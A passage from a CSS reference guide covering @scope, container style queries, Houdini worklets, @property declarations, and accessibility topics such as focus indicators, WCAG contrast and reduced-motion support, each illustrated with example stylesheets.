Example: Advanced @scope patterns

/* Scope for theming */
@scope (.theme-dark) {
    :scope {
        background: #1a1a1a;
        color: #f0f0f0;
    }
    
    .card {
        background: #2d2d2d;
        border-color: #404040;
    }
    
    .button {
        background: #404040;
        color: white;
    }
    
    a {
        color: #6db3f2;
    }
}

@scope (.theme-light) {
    :scope {
        background: #ffffff;
        color: #1a1a1a;
    }
    
    .card {
        background: white;
        border-color: #e0e0e0;
    }
    
    .button {
        background: #007acc;
        color: white;
    }
}

/* Nested scope exclusion */
@scope (.article) to (.code-block, .callout) {
    /* Styles apply to .article but exclude .code-block and .callout */
    p {
        font-size: 1rem;
        line-height: 1.6;
    }
    
    /* Code blocks and callouts maintain their own styling */
}

/* Scope with media queries */
@scope (.responsive-nav) {
    :scope {
        display: flex;
    }
    
    .nav-item {
        padding: 0.5rem;
    }
    
    @media (max-width: 768px) {
        :scope {
            flex-direction: column;
        }
        
        .nav-item {
            width: 100%;
        }
    }
}

/* Comparing scope to nesting */

/* With @scope (cleaner for components) */
@scope (.card) {
    :scope { padding: 1rem; }
    h2 { font-size: 1.5rem; }
    p { color: #666; }
}

/* With nesting (more verbose) */
.card {
    & {
        padding: 1rem;
    }
    
    & h2 {
        font-size: 1.5rem;
    }
    
    & p {
        color: #666;
    }
}

/* Use @scope for:
   - Component encapsulation
   - Theme boundaries
   - Section-specific styles
   - Preventing style leakage
   
   Use nesting for:
   - Parent-child relationships
   - State variations
   - BEM patterns
   - Pseudo-classes/elements
*/

/* Scope specificity */
@scope (.card) {
    p {
        /* Specificity: (0,1,1) = .card p */
        color: blue;
    }
}

.card p {
    /* Same specificity: (0,1,1) */
    /* Last rule wins (cascade) */
    color: red;
}

/* But @scope provides better isolation */
@scope (.card) to (.nested) {
    /* This won't affect .nested descendants */
    p { color: blue; }
}
Note: @scope provides true style encapsulation without Shadow DOM. Use to () to exclude nested components. :scope references the root element. Browser support limited to Chrome 118+, use feature detection or fallbacks.

17.4 CSS Container Style Queries

Feature Syntax Browser Support Purpose
Container Size Query @container (width > 400px) Chrome 105+, Safari 16+ Query container dimensions
Container Style Query NEW @container style(--theme: dark) Chrome 111+ (flag) Query container custom properties
container-type inline-size | size Modern browsers Enable container queries
container-name container-name: sidebar Modern browsers Name container for targeting
Container Units cqw, cqh, cqi, cqb Modern browsers Relative to container size

Example: Container style queries

/* Container with custom property */
.card-container {
    container-name: card;
    container-type: inline-size;
    --theme: light;
}

/* Query the container's style */
@container card style(--theme: light) {
    .card {
        background: white;
        color: #1a1a1a;
    }
}

@container card style(--theme: dark) {
    .card {
        background: #2d2d2d;
        color: #f0f0f0;
    }
}

/* Dynamic theme switching */
.card-container[data-theme="dark"] {
    --theme: dark;
}

.card-container[data-theme="light"] {
    --theme: light;
}

/* Multiple style conditions */
.section {
    container-type: inline-size;
    --variant: default;
    --size: medium;
}

@container style(--variant: featured) {
    .card {
        border: 2px solid #007acc;
        box-shadow: 0 4px 8px rgba(0,122,204,0.2);
    }
}

@container style(--size: large) {
    .card {
        padding: 2rem;
        font-size: 1.125rem;
    }
}

/* Combined size and style queries */
@container style(--theme: dark) and (min-width: 600px) {
    .card {
        background: #1a1a1a;
        padding: 2rem;
    }
}

/* Boolean custom properties */
.container {
    container-type: inline-size;
    --has-image: 0;  /* false */
}

.container.with-image {
    --has-image: 1;  /* true */
}

@container style(--has-image: 1) {
    .card {
        display: grid;
        grid-template-columns: 200px 1fr;
        gap: 1rem;
    }
}

/* Numeric comparisons (experimental) */
@container style(--priority >= 5) {
    .alert {
        background: #dc3545;
        color: white;
        font-weight: bold;
    }
}

@container style(--priority < 5) {
    .alert {
        background: #ffc107;
        color: #1a1a1a;
    }
}

Example: Practical style query patterns

/* Theme-aware component system */
.theme-container {
    container-name: theme;
    container-type: inline-size;
    --bg-color: white;
    --text-color: #1a1a1a;
    --accent-color: #007acc;
}

/* Light theme */
@container theme style(--bg-color: white) {
    .button {
        background: var(--accent-color);
        color: white;
    }
    
    .card {
        background: white;
        box-shadow: 0 2px 4px rgba(0,0,0,0.1);
    }
}

/* Dark theme */
@container theme style(--bg-color: #1a1a1a) {
    .button {
        background: #404040;
        color: white;
    }
    
    .card {
        background: #2d2d2d;
        box-shadow: 0 2px 4px rgba(0,0,0,0.5);
    }
}

/* Density variants */
.app-container {
    container-name: app;
    container-type: inline-size;
    --density: comfortable;
}

@container app style(--density: compact) {
    .list-item {
        padding: 0.25rem 0.5rem;
        font-size: 0.875rem;
    }
    
    .button {
        padding: 0.25rem 0.75rem;
    }
}

@container app style(--density: comfortable) {
    .list-item {
        padding: 0.5rem 1rem;
        font-size: 1rem;
    }
    
    .button {
        padding: 0.5rem 1rem;
    }
}

@container app style(--density: spacious) {
    .list-item {
        padding: 1rem 1.5rem;
        font-size: 1.125rem;
    }
    
    .button {
        padding: 0.75rem 1.5rem;
    }
}

/* Component state management */
.widget {
    container-name: widget;
    container-type: inline-size;
    --state: idle;
}

.widget[data-loading] {
    --state: loading;
}

.widget[data-error] {
    --state: error;
}

@container widget style(--state: loading) {
    .content {
        opacity: 0.5;
        pointer-events: none;
    }
    
    .spinner {
        display: block;
    }
}

@container widget style(--state: error) {
    .content {
        border-left: 4px solid #dc3545;
    }
    
    .error-message {
        display: block;
        color: #dc3545;
    }
}

/* Responsive + style queries */
.grid-container {
    container-name: grid;
    container-type: inline-size;
    --layout: list;
}

@container grid style(--layout: grid) and (min-width: 600px) {
    .items {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
        gap: 1rem;
    }
}

@container grid style(--layout: list) {
    .items {
        display: flex;
        flex-direction: column;
        gap: 0.5rem;
    }
}
Warning: Container style queries are experimental (Chrome 111+ behind flag). Enable at chrome://flags/#enable-container-queries. Fallback to class-based styling for production. Not all property types supported yet.

17.5 CSS Houdini Worklets and Custom Functions

API Purpose Browser Support Use Case
Paint API Custom paint() function Chrome 65+, Edge Draw custom backgrounds, borders
Layout API EXPERIMENTAL Custom layout algorithms Chrome (flag) Masonry, custom grids
Animation Worklet High-performance animations Chrome 71+ Parallax, scroll-driven effects
Properties & Values API Typed custom properties Chrome 78+, Safari 16.4+ Animatable custom properties
Font Metrics API Access font metrics Limited Precise typography control

Example: CSS Paint API (Houdini)

/* Register paint worklet (JavaScript) */
/*
// checkerboard-paint.js
class CheckerboardPainter {
    static get inputProperties() {
        return ['--checkerboard-size', '--checkerboard-color'];
    }
    
    paint(ctx, geom, properties) {
        const size = parseInt(properties.get('--checkerboard-size').toString()) || 20;
        const color = properties.get('--checkerboard-color').toString() || '#000';
        
        for (let y = 0; y < geom.height / size; y++) {
            for (let x = 0; x < geom.width / size; x++) {
                if ((x + y) % 2 === 0) {
                    ctx.fillStyle = color;
                    ctx.fillRect(x * size, y * size, size, size);
                }
            }
        }
    }
}

registerPaint('checkerboard', CheckerboardPainter);
*/

/* Load the worklet */
/*
CSS.paintWorklet.addModule('checkerboard-paint.js');
*/

/* Use in CSS */
.checkerboard {
    --checkerboard-size: 20;
    --checkerboard-color: #e0e0e0;
    background-image: paint(checkerboard);
}

/* Animated paint worklet */
/*
// ripple-paint.js
class RipplePainter {
    static get inputProperties() {
        return ['--ripple-x', '--ripple-y', '--ripple-radius', '--ripple-color'];
    }
    
    paint(ctx, geom, properties) {
        const x = parseFloat(properties.get('--ripple-x').toString());
        const y = parseFloat(properties.get('--ripple-y').toString());
        const radius = parseFloat(properties.get('--ripple-radius').toString());
        const color = properties.get('--ripple-color').toString();
        
        ctx.fillStyle = color;
        ctx.beginPath();
        ctx.arc(x, y, radius, 0, 2 * Math.PI);
        ctx.fill();
    }
}

registerPaint('ripple', RipplePainter);
*/

.ripple-button {
    --ripple-x: 50;
    --ripple-y: 50;
    --ripple-radius: 0;
    --ripple-color: rgba(255,255,255,0.3);
    background-image: paint(ripple);
    transition: --ripple-radius 0.6s;
}

.ripple-button:active {
    --ripple-radius: 100;
}

/* Complex paint example: gradient border */
/*
// gradient-border-paint.js
class GradientBorderPainter {
    static get inputProperties() {
        return ['--border-width', '--gradient-angle'];
    }
    
    paint(ctx, geom, properties) {
        const borderWidth = parseInt(properties.get('--border-width').toString()) || 2;
        const angle = parseInt(properties.get('--gradient-angle').toString()) || 45;
        
        const gradient = ctx.createLinearGradient(0, 0, geom.width, geom.height);
        gradient.addColorStop(0, '#667eea');
        gradient.addColorStop(1, '#764ba2');
        
        ctx.strokeStyle = gradient;
        ctx.lineWidth = borderWidth;
        ctx.strokeRect(
            borderWidth / 2,
            borderWidth / 2,
            geom.width - borderWidth,
            geom.height - borderWidth
        );
    }
}

registerPaint('gradient-border', GradientBorderPainter);
*/

.gradient-box {
    --border-width: 4;
    --gradient-angle: 45;
    background-image: paint(gradient-border);
    padding: 1rem;
}

Example: Animation Worklet

/* Animation Worklet for scroll-linked animations */
/*
// parallax-animation.js
registerAnimator('parallax', class {
    constructor(options) {
        this.rate = options.rate || 0.5;
    }
    
    animate(currentTime, effect) {
        const scroll = currentTime * this.rate;
        effect.localTime = scroll;
    }
});
*/

/* CSS setup */
/*
@keyframes parallax {
    from {
        transform: translateY(0);
    }
    to {
        transform: translateY(-200px);
    }
}
*/

.parallax-element {
    animation: parallax linear;
    animation-timeline: scroll();
}

/* JavaScript registration */
/*
await CSS.animationWorklet.addModule('parallax-animation.js');

const element = document.querySelector('.parallax-element');
new WorkletAnimation(
    'parallax',
    new KeyframeEffect(element, [
        { transform: 'translateY(0)' },
        { transform: 'translateY(-200px)' }
    ], {
        duration: 1000,
        iterations: 1
    }),
    document.documentElement.scrollTimeline,
    { rate: 0.5 }
).play();
*/

/* Smooth spring animation worklet */
/*
// spring-animation.js
registerAnimator('spring', class {
    animate(currentTime, effect) {
        const spring = (t, damping = 0.7, stiffness = 100) => {
            const w = Math.sqrt(stiffness);
            const e = Math.exp(-damping * w * t);
            return 1 - e * Math.cos(w * t);
        };
        
        effect.localTime = spring(currentTime / 1000) * effect.getTiming().duration;
    }
});
*/
Note: CSS Houdini enables low-level access to CSS engine. Paint API is best supported. Layout and Animation Worklets are experimental. Use feature detection: if ('paintWorklet' in CSS). Fallback to regular CSS for unsupported browsers.

17.6 CSS @property Declarations

Feature Syntax Browser Support Purpose
@property Rule @property --name { } Chrome 85+, Safari 16.4+ Register typed custom property
syntax syntax: "<color>" Modern browsers Define property type
inherits inherits: true | false Modern browsers Control inheritance
initial-value initial-value: #000 Modern browsers Default fallback value
Animatable Properties Typed custom properties Modern browsers Enable smooth transitions

Example: @property declarations

/* Register a color property */
@property --theme-color {
    syntax: '<color>';
    inherits: true;
    initial-value: #007acc;
}

/* Now it's animatable! */
.button {
    background: var(--theme-color);
    transition: --theme-color 0.3s;
}

.button:hover {
    --theme-color: #005a9e;
}

/* Number property with units */
@property --spacing {
    syntax: '<length>';
    inherits: false;
    initial-value: 1rem;
}

.card {
    padding: var(--spacing);
    transition: --spacing 0.3s;
}

.card:hover {
    --spacing: 2rem;
}

/* Percentage property */
@property --progress {
    syntax: '<percentage>';
    inherits: false;
    initial-value: 0%;
}

.progress-bar {
    width: var(--progress);
    transition: --progress 1s ease-out;
}

.progress-bar.complete {
    --progress: 100%;
}

/* Angle property for gradients */
@property --gradient-angle {
    syntax: '<angle>';
    inherits: false;
    initial-value: 0deg;
}

.gradient-box {
    background: linear-gradient(var(--gradient-angle), #667eea, #764ba2);
    transition: --gradient-angle 0.5s;
}

.gradient-box:hover {
    --gradient-angle: 90deg;
}

/* Number property (no units) */
@property --scale {
    syntax: '<number>';
    inherits: false;
    initial-value: 1;
}

.zoomable {
    transform: scale(var(--scale));
    transition: --scale 0.3s;
}

.zoomable:hover {
    --scale: 1.1;
}

/* Multiple values */
@property --shadow-offset {
    syntax: '<length>+';  /* One or more lengths */
    inherits: false;
    initial-value: 0px 2px;
}

.elevated {
    box-shadow: var(--shadow-offset) 4px rgba(0,0,0,0.1);
    transition: --shadow-offset 0.3s;
}

.elevated:hover {
    --shadow-offset: 0px 8px;
}

/* Integer property */
@property --columns {
    syntax: '<integer>';
    inherits: false;
    initial-value: 3;
}

.grid {
    display: grid;
    grid-template-columns: repeat(var(--columns), 1fr);
}

/* Transform list */
@property --transform-x {
    syntax: '<length-percentage>';
    inherits: false;
    initial-value: 0%;
}

.slider {
    transform: translateX(var(--transform-x));
    transition: --transform-x 0.5s cubic-bezier(0.4, 0, 0.2, 1);
}

.slider.active {
    --transform-x: 100%;
}

Example: Advanced @property patterns

/* Animatable gradient positions */
@property --gradient-start {
    syntax: '<percentage>';
    inherits: false;
    initial-value: 0%;
}

@property --gradient-end {
    syntax: '<percentage>';
    inherits: false;
    initial-value: 100%;
}

.animated-gradient {
    background: linear-gradient(
        90deg,
        transparent var(--gradient-start),
        #007acc var(--gradient-start),
        #007acc var(--gradient-end),
        transparent var(--gradient-end)
    );
    transition: --gradient-start 0.3s, --gradient-end 0.3s;
}

.animated-gradient:hover {
    --gradient-start: 20%;
    --gradient-end: 80%;
}

/* Color interpolation */
@property --bg-color {
    syntax: '<color>';
    inherits: false;
    initial-value: white;
}

@property --text-color {
    syntax: '<color>';
    inherits: false;
    initial-value: black;
}

.theme-transition {
    background: var(--bg-color);
    color: var(--text-color);
    transition: --bg-color 0.3s, --text-color 0.3s;
}

.theme-transition[data-theme="dark"] {
    --bg-color: #1a1a1a;
    --text-color: #f0f0f0;
}

/* Numeric calculations */
@property --multiplier {
    syntax: '<number>';
    inherits: false;
    initial-value: 1;
}

.dynamic-sizing {
    font-size: calc(1rem * var(--multiplier));
    padding: calc(0.5rem * var(--multiplier));
    transition: --multiplier 0.3s;
}

.dynamic-sizing.large {
    --multiplier: 1.5;
}

/* Complex animation with multiple properties */
@property --rotate {
    syntax: '<angle>';
    inherits: false;
    initial-value: 0deg;
}

@property --scale-x {
    syntax: '<number>';
    inherits: false;
    initial-value: 1;
}

@property --scale-y {
    syntax: '<number>';
    inherits: false;
    initial-value: 1;
}

.complex-transform {
    transform: 
        rotate(var(--rotate))
        scaleX(var(--scale-x))
        scaleY(var(--scale-y));
    transition: --rotate 0.5s, --scale-x 0.3s, --scale-y 0.3s;
}

.complex-transform:hover {
    --rotate: 15deg;
    --scale-x: 1.1;
    --scale-y: 0.9;
}

/* JavaScript API for registration */
/*
CSS.registerProperty({
    name: '--my-color',
    syntax: '<color>',
    inherits: false,
    initialValue: '#c0ffee'
});

// Now usable in CSS
element.style.setProperty('--my-color', 'rebeccapurple');
*/

/* Syntax types:
   <length>        - 10px, 2em, 50%
   <number>        - 1, 0.5, 100
   <percentage>    - 50%, 100%
   <length-percentage> - length or percentage
   <color>         - #fff, rgb(), hsl()
   <image>         - url(), gradient()
   <url>           - url()
   <integer>       - 1, 2, 3
   <angle>         - 45deg, 1rad
   <time>          - 1s, 200ms
   <resolution>    - 300dpi, 2dppx
   <transform-function> - rotate(), scale()
   <transform-list> - Multiple transforms
   * - Any value (not animatable)
   
   Combinators:
   <length>+      - One or more
   <length>#      - Comma-separated list
   <length> | <percentage> - Either/or
*/

Example: Practical @property use cases

/* Smooth progress bar animation */
@property --progress-value {
    syntax: '<number>';
    inherits: false;
    initial-value: 0;
}

.progress {
    --progress-value: 0;
    transition: --progress-value 1s ease-out;
}

.progress-bar {
    width: calc(var(--progress-value) * 1%);
    background: linear-gradient(
        90deg,
        #667eea calc(var(--progress-value) * 1%),
        #e0e0e0 calc(var(--progress-value) * 1%)
    );
}

.progress[data-value="75"] {
    --progress-value: 75;
}

/* Animated counter */
@property --counter {
    syntax: '<integer>';
    inherits: false;
    initial-value: 0;
}

.counter {
    --counter: 0;
    counter-reset: num var(--counter);
    transition: --counter 2s;
}

.counter::after {
    content: counter(num);
}

.counter.animate {
    --counter: 100;
}

/* Smooth color transitions in gradients */
@property --color-stop-1 {
    syntax: '<color>';
    inherits: false;
    initial-value: #667eea;
}

@property --color-stop-2 {
    syntax: '<color>';
    inherits: false;
    initial-value: #764ba2;
}

.gradient-bg {
    background: linear-gradient(
        135deg,
        var(--color-stop-1),
        var(--color-stop-2)
    );
    transition: --color-stop-1 0.5s, --color-stop-2 0.5s;
}

.gradient-bg:hover {
    --color-stop-1: #f093fb;
    --color-stop-2: #f5576c;
}

/* Responsive scaling with animation */
@property --responsive-scale {
    syntax: '<number>';
    inherits: false;
    initial-value: 1;
}

.responsive-element {
    font-size: calc(1rem * var(--responsive-scale));
    padding: calc(1rem * var(--responsive-scale));
    transition: --responsive-scale 0.3s;
}

@media (min-width: 768px) {
    .responsive-element {
        --responsive-scale: 1.2;
    }
}

@media (min-width: 1024px) {
    .responsive-element {
        --responsive-scale: 1.5;
    }
}

Modern CSS Features Best Practices

  • Use native CSS nesting for cleaner code (Chrome 120+, Safari 17.2+)
  • Organize with @layer for predictable cascade, define order upfront
  • Apply @scope for component encapsulation without Shadow DOM (Chrome 118+)
  • Container style queries enable theme/state management (experimental, use with caution)
  • CSS Houdini Paint API for custom backgrounds, check support with 'paintWorklet' in CSS
  • Register @property for animatable custom properties with type safety
  • Always provide fallbacks for experimental features, use feature detection
  • Test across browsers, progressive enhancement is key
  • Combine modern features: nesting + @layer + @scope for powerful architecture
  • Monitor browser support at caniuse.com, these features are rapidly evolving

18. CSS Accessibility and User Preferences

18.1 Focus Management and Visible Indicators

Pseudo-class Description Use Case WCAG Level
:focus Element has focus (keyboard/click) Basic focus styling WCAG 2.4.7 (AA)
:focus-visible Focus from keyboard only Show outline for keyboard navigation Best practice
:focus-within Element or descendant has focus Highlight parent containers Enhancement
outline Focus indicator property 3px minimum recommended WCAG 2.4.11 (AA)
outline-offset Space between element and outline Improve visual clarity Enhancement
:focus-visible + :has() Advanced focus patterns Complex component focus Modern

Example: Accessible focus indicators

/* ❌ NEVER do this */
* {
    outline: none;  /* Breaks keyboard accessibility! */
}

/* ✅ GOOD: Basic focus styling */
a:focus,
button:focus,
input:focus,
textarea:focus,
select:focus {
    outline: 2px solid #007acc;
    outline-offset: 2px;
}

/* ✅ BETTER: Use :focus-visible for keyboard-only focus */
a:focus-visible,
button:focus-visible,
input:focus-visible {
    outline: 3px solid #007acc;
    outline-offset: 2px;
}

/* Remove focus ring for mouse users */
a:focus:not(:focus-visible),
button:focus:not(:focus-visible) {
    outline: none;
}

/* Enhanced focus with multiple indicators */
.button:focus-visible {
    outline: 3px solid #007acc;
    outline-offset: 2px;
    box-shadow: 0 0 0 4px rgba(0, 122, 204, 0.2);
}

/* Focus-within for containers */
.form-group:focus-within {
    border-color: #007acc;
    background: rgba(0, 122, 204, 0.05);
}

.card:focus-within {
    box-shadow: 0 0 0 3px #007acc;
}

/* Skip links (keyboard navigation) */
.skip-link {
    position: absolute;
    top: -40px;
    left: 0;
    background: #007acc;
    color: white;
    padding: 0.5rem 1rem;
    z-index: 1000;
}

.skip-link:focus {
    top: 0;
}

/* High contrast focus indicators */
@media (prefers-contrast: high) {
    *:focus-visible {
        outline: 4px solid currentColor;
        outline-offset: 2px;
    }
}

/* Focus trap for modals */
.modal:focus-within {
    /* Keep focus visible within modal */
}

.modal-backdrop {
    /* Prevent focus behind modal */
    pointer-events: none;
}

/* Visible focus for all interactive elements */
a, button, input, select, textarea,
[tabindex]:not([tabindex="-1"]) {
    &:focus-visible {
        outline: 3px solid #007acc;
        outline-offset: 2px;
    }
}

/* Custom focus indicators */
.custom-button:focus-visible {
    outline: none;  /* Remove default */
    box-shadow: 
        0 0 0 3px white,
        0 0 0 6px #007acc;
}

/* Focus indicator requirements:
   WCAG 2.4.7: Focus visible (Level AA)
   - Minimum 3:1 contrast ratio
   - At least 2px thickness or equivalent
   - Clearly visible against all backgrounds
*/

Example: Advanced focus patterns

/* Focus management for complex components */

/* Tab panel focus */
.tab-list {
    display: flex;
    border-bottom: 2px solid #e0e0e0;
}

.tab {
    padding: 0.75rem 1.5rem;
    border: none;
    background: transparent;
    cursor: pointer;
    position: relative;
}

.tab:focus-visible {
    outline: 3px solid #007acc;
    outline-offset: -3px;
    z-index: 1;
}

.tab[aria-selected="true"] {
    border-bottom: 3px solid #007acc;
    font-weight: bold;
}

/* Dropdown menu focus */
.dropdown-menu {
    list-style: none;
    padding: 0.5rem 0;
}

.dropdown-item:focus-visible {
    outline: none;
    background: #007acc;
    color: white;
}

/* Keyboard navigation indicator */
.list-item[data-keyboard-selected] {
    background: rgba(0, 122, 204, 0.1);
    outline: 2px solid #007acc;
    outline-offset: -2px;
}

/* Focus visible within forms */
.form-field:has(input:focus-visible) label {
    color: #007acc;
    font-weight: 500;
}

.form-field:has(input:focus-visible) {
    border-left: 3px solid #007acc;
    padding-left: 1rem;
}

/* Card focus with nested interactive elements */
.card:has(:focus-visible) {
    box-shadow: 0 0 0 3px #007acc;
}

/* Focus for custom controls */
.custom-checkbox {
    position: relative;
    display: inline-block;
    width: 20px;
    height: 20px;
    border: 2px solid #666;
    border-radius: 4px;
}

.custom-checkbox:has(input:focus-visible) {
    outline: 3px solid #007acc;
    outline-offset: 2px;
}

input[type="checkbox"] {
    position: absolute;
    opacity: 0;
    width: 100%;
    height: 100%;
    cursor: pointer;
}

/* Roving tabindex for lists */
.list[role="list"] {
    display: flex;
    flex-direction: column;
}

.list-item[tabindex="0"]:focus-visible {
    outline: 3px solid #007acc;
    outline-offset: -3px;
    background: rgba(0, 122, 204, 0.1);
}

.list-item[tabindex="-1"] {
    /* Not in tab order */
}

/* Focus indicator animation */
@keyframes focus-pulse {
    0%, 100% {
        box-shadow: 0 0 0 3px rgba(0, 122, 204, 0.4);
    }
    50% {
        box-shadow: 0 0 0 6px rgba(0, 122, 204, 0.1);
    }
}

.important-action:focus-visible {
    animation: focus-pulse 2s ease-in-out infinite;
}
Note: Never remove focus indicators without replacement. Use :focus-visible to show focus only for keyboard users. Minimum 3:1 contrast ratio for focus indicators (WCAG 2.4.11). Test with keyboard-only navigation.

18.2 Color Contrast and WCAG Compliance

WCAG Level Normal Text Large Text Graphics/UI
AA (Minimum) 4.5:1 contrast 3:1 contrast (18px+) 3:1 contrast
AAA (Enhanced) 7:1 contrast 4.5:1 contrast (18px+) 3:1 contrast
Large Text 18px+ or 14px+ bold
Non-text Contrast 3:1 for icons, borders, focus indicators

Example: WCAG compliant color schemes

/* WCAG AA compliant color combinations */

/* ✅ PASS AA: 4.52:1 contrast */
.text-on-light {
    color: #595959;  /* Dark gray */
    background: #ffffff;  /* White */
}

/* ✅ PASS AAA: 7.03:1 contrast */
.text-high-contrast {
    color: #3d3d3d;  /* Darker gray */
    background: #ffffff;  /* White */
}

/* ✅ PASS AA for large text: 3.01:1 */
.large-text {
    font-size: 18px;
    color: #767676;
    background: #ffffff;
}

/* ❌ FAIL AA: 2.85:1 contrast */
.insufficient-contrast {
    color: #999999;  /* Too light */
    background: #ffffff;
}

/* Color palette with contrast ratios */
:root {
    /* Primary colors with AA compliance */
    --primary: #007acc;  /* 4.54:1 on white */
    --primary-dark: #005a9e;  /* 6.59:1 on white - AAA */
    --primary-light: #3399dd;  /* 3.02:1 on white - AA large */
    
    /* Text colors */
    --text-primary: #1a1a1a;  /* 16.59:1 on white - AAA */
    --text-secondary: #4d4d4d;  /* 8.59:1 on white - AAA */
    --text-tertiary: #666666;  /* 5.74:1 on white - AA */
    
    /* Background colors */
    --bg-primary: #ffffff;
    --bg-secondary: #f5f5f5;
    --bg-tertiary: #e0e0e0;
    
    /* Status colors (AA compliant) */
    --success: #0f7b0f;  /* 4.51:1 on white */
    --warning: #856404;  /* 5.51:1 on white */
    --error: #c41e3a;  /* 5.14:1 on white */
    --info: #006699;  /* 5.52:1 on white */
}

/* High contrast theme */
.high-contrast {
    --text-primary: #000000;
    --bg-primary: #ffffff;
    --link-color: #0000ff;
    --link-visited: #800080;
}

/* Accessible link colors */
a {
    color: #0066cc;  /* 5.54:1 on white - AA */
    text-decoration: underline;  /* Don't rely on color alone */
}

a:visited {
    color: #663399;  /* 5.04:1 on white - AA */
}

a:hover,
a:focus {
    color: #004080;  /* 7.52:1 on white - AAA */
    text-decoration: underline;
}

/* Button contrast */
.button-primary {
    background: #0066cc;  /* 5.54:1 on white */
    color: #ffffff;  /* 5.54:1 on #0066cc */
    border: 2px solid #0066cc;
}

.button-primary:hover {
    background: #0052a3;  /* Higher contrast */
}

/* Disabled state must still meet 3:1 for UI components */
.button:disabled {
    background: #cccccc;
    color: #666666;  /* 3.13:1 - passes 3:1 for graphics */
    opacity: 1;  /* Don't use opacity alone for disabled state */
}

/* Status indicators with patterns (not color alone) */
.status-success {
    color: #0f7b0f;
    background: #e6f4e6;
}

.status-success::before {
    content: '✓ ';  /* Icon reinforces status */
}

.status-error {
    color: #c41e3a;
    background: #fce8eb;
    border-left: 4px solid currentColor;  /* Additional indicator */
}

.status-error::before {
    content: '✗ ';
}

/* Form validation */
.input-error {
    border-color: #c41e3a;  /* 5.14:1 */
    border-width: 2px;
}

.error-message {
    color: #c41e3a;
    font-weight: 500;
}

.error-message::before {
    content: '⚠ ';  /* Icon supplements color */
}

/* Testing contrast with CSS */
/*
To test, use browser DevTools or online tools:
- WebAIM Contrast Checker
- Chrome DevTools (Accessibility panel)
- Firefox Accessibility Inspector
- https://contrast-ratio.com
*/

Example: Dynamic contrast adjustment

/* Automatic contrast adjustment with color-contrast() (experimental) */
.adaptive-text {
    /* Choose text color with best contrast */
    color: color-contrast(var(--bg-color) vs white, black);
}

/* Relative color syntax for guaranteed contrast */
.button {
    --bg: #007acc;
    background: var(--bg);
    /* Ensure text contrast by darkening/lightening */
    color: oklch(from var(--bg) calc(l - 50%) c h);
}

/* Manual contrast function (CSS custom property) */
:root {
    --bg-lightness: 95%;  /* Light background */
}

.auto-contrast {
    background: hsl(0, 0%, var(--bg-lightness));
    /* If background is light (>50%), use dark text, else light text */
    color: hsl(0, 0%, calc((var(--bg-lightness) - 50%) * -100%));
}

/* Prefers-contrast media query */
@media (prefers-contrast: more) {
    :root {
        --text-primary: #000000;
        --bg-primary: #ffffff;
        --link-color: #0000ff;
    }
    
    .button {
        border-width: 2px;
        font-weight: 600;
    }
    
    a {
        text-decoration: underline;
        text-decoration-thickness: 2px;
    }
}

@media (prefers-contrast: less) {
    /* Some users prefer lower contrast */
    :root {
        --text-primary: #4d4d4d;
        --bg-primary: #fafafa;
    }
}

/* Force colors mode (Windows High Contrast) */
@media (forced-colors: active) {
    .button {
        border: 1px solid currentColor;
    }
    
    .card {
        border: 1px solid CanvasText;
    }
    
    /* System colors in forced-colors mode:
       Canvas, CanvasText, LinkText, VisitedText,
       ActiveText, ButtonFace, ButtonText, Field,
       FieldText, Highlight, HighlightText, GrayText
    */
}

/* Contrast checker utility class */
.contrast-check {
    /* For development: show contrast issues */
    outline: 3px solid red;
}

.contrast-check[data-contrast="pass-aaa"] {
    outline-color: green;
}

.contrast-check[data-contrast="pass-aa"] {
    outline-color: yellow;
}

.contrast-check[data-contrast="fail"] {
    outline-color: red;
}
Warning: Don't use color as the only means of conveying information. Add icons, patterns, or text. Test with color blindness simulators. Aim for WCAG AA minimum (4.5:1 normal text, 3:1 large text).

18.3 prefers-reduced-motion Implementation

Value Meaning Action Priority
no-preference No preference indicated Use normal animations Default
reduce User prefers reduced motion Disable/minimize animations WCAG 2.3.3 (AAA)

Example: Reduced motion patterns

/* Animations with reduced motion support */

/* Default: Full animations */
.card {
    transition: transform 0.3s ease, box-shadow 0.3s ease;
}

.card:hover {
    transform: translateY(-4px);
    box-shadow: 0 8px 16px rgba(0,0,0,0.2);
}

/* Reduced motion: Instant or minimal animation */
@media (prefers-reduced-motion: reduce) {
    .card {
        transition: none;
    }
    
    .card:hover {
        /* Still provide feedback, but instantly */
        transform: none;
        box-shadow: 0 0 0 3px #007acc;
    }
}

/* ✅ BETTER: Use custom property approach */
:root {
    --animation-duration: 0.3s;
    --animation-easing: ease;
}

@media (prefers-reduced-motion: reduce) {
    :root {
        --animation-duration: 0.01ms;  /* Near-instant */
        --animation-easing: linear;
    }
}

.animated-element {
    transition: 
        transform var(--animation-duration) var(--animation-easing),
        opacity var(--animation-duration) var(--animation-easing);
}

/* Disable decorative animations, keep functional ones */
@media (prefers-reduced-motion: reduce) {
    /* Disable: Decorative animations */
    .decorative-spin {
        animation: none;
    }
    
    .parallax-bg {
        transform: none !important;
    }
    
    /* Keep: Functional animations (loading, progress) */
    .spinner {
        /* Keep rotation but reduce speed */
        animation-duration: 2s;
    }
    
    .progress-bar {
        /* Keep progress indication */
        transition: width 0.1s linear;
    }
}

/* Safe animation defaults */
* {
    animation-duration: 0.01ms !important;
    animation-iteration-count: 1 !important;
    transition-duration: 0.01ms !important;
    scroll-behavior: auto !important;
}

/* Then opt-in animations where appropriate */
@media (prefers-reduced-motion: no-preference) {
    * {
        animation-duration: revert;
        animation-iteration-count: revert;
        transition-duration: revert;
        scroll-behavior: revert;
    }
}

/* Reduce but don't eliminate */
@media (prefers-reduced-motion: reduce) {
    .modal {
        /* Instead of slide-in, use fade */
        animation: fadeIn 0.15s ease;
    }
    
    @keyframes fadeIn {
        from { opacity: 0; }
        to { opacity: 1; }
    }
}

/* Scroll-triggered animations */
.reveal-on-scroll {
    opacity: 0;
    transform: translateY(20px);
    transition: opacity 0.6s, transform 0.6s;
}

.reveal-on-scroll.visible {
    opacity: 1;
    transform: translateY(0);
}

@media (prefers-reduced-motion: reduce) {
    .reveal-on-scroll {
        opacity: 1;
        transform: none;
        transition: none;
    }
}

/* Skeleton loading */
.skeleton {
    background: linear-gradient(
        90deg,
        #f0f0f0 25%,
        #e0e0e0 50%,
        #f0f0f0 75%
    );
    background-size: 200% 100%;
    animation: skeleton-loading 1.5s ease-in-out infinite;
}

@keyframes skeleton-loading {
    0% { background-position: 200% 0; }
    100% { background-position: -200% 0; }
}

@media (prefers-reduced-motion: reduce) {
    .skeleton {
        animation: none;
        background: #e0e0e0;  /* Static background */
    }
}

